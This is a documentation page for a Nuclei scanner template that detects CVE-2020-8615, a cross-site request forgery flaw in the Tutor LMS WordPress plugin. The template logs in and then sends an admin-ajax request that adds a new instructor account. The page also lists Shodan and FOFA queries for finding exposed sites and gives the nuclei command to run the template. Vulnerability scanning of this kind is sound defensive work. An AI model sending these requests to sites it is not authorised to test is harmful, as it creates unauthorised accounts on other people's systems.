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Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery

ID: CVE-2020-8615

Severity: medium

Author: r3Y3r53

Tags: cve,cve2020,wpscan,packetstorm,csrf,wp-plugin,wp,tutor,wordpress,themeum

Description

Section titled “Description”

A CSRF vulnerability in the Tutor LMS plugin before 1.5.3 for WordPress can result in an attacker approving themselves as an instructor and performing other malicious actions (such as blocking legitimate instructors).

YAML Source

Section titled “YAML Source”
id: CVE-2020-8615


info:
  name: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery
  author: r3Y3r53
  severity: medium
  description: |
    A CSRF vulnerability in the Tutor LMS plugin before 1.5.3 for WordPress can result in an attacker approving themselves as an instructor and performing other malicious actions (such as blocking legitimate instructors).
  remediation: update to v.1.5.3
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8615
    - https://wpscan.com/vulnerability/10058
    - http://packetstormsecurity.com/files/156585/WordPress-Tutor-LMS-1.5.3-Cross-Site-Request-Forgery.html
    - https://wpvulndb.com/vulnerabilities/10058
    - https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-8615
    cwe-id: CWE-352
    epss-score: 0.00867
    epss-percentile: 0.82331
    cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/tutor/
    fofa-query: body=/wp-content/plugins/tutor/
    publicwww-query: /wp-content/plugins/tutor/
  tags: cve,cve2020,wpscan,packetstorm,csrf,wp-plugin,wp,tutor,wordpress,themeum
variables:
  user: "{{rand_base(6)}}"
  pass: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=add_new_instructor&first_name={{firstname}}&last_name={{lastname}}&user_login={{user}}&email={{email}}&phone_number=1231231231&password={{pass}}&password_confirmation={{pass}}&tutor_profile_bio=Et+tempore+culpa+n&action=tutor_add_instructor


    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "application/json")'
          - 'contains(body_2, "success") && contains(body_2, "true") && contains(body_2, "Instructor has been added successfully")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022049375df5461759fe18ce35899f7d0970ae8d88d49eb2119b6a8d05868d4f58300221009acc8f92f805b4d9ad61a915a428909d08db80f4a781d46f51f93f6ef636c691:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8615.yaml"

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